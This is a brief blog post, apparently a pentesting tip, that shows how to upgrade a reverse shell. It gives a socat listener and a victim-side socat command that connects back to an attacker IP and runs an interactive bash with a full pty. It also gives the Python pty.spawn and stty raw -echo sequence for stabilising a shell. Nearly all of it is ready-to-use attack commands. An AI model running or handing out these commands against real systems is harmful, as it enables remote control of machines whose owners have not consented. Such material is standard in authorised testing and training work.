Using SOCAT to upgrade reverse shell

NexxsysNexxsys
1 min read

To upgrade your reverse shell you can use various methods:

  1. SOCAT

     # Attacker:
     socat TCP-L:<port> -
    
     # Victim:
     socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
    

    References: https://www.101labs.net/comptia-security/lab-68-getting-a-reverse-shell-using-socat/

  2. Python

     python -c 'import pty; pty.spawn("/bin/bash")'
     # `ctrl+z` then 
     stty raw -echo
     # then 
     fg
     # then `enter` twice
    

    Reference: https://book.hacktricks.xyz/generic-methodologies-and-resources/reverse-shells/full-ttys

0
Subscribe to my newsletter

Read articles from Nexxsys directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Nexxsys
Nexxsys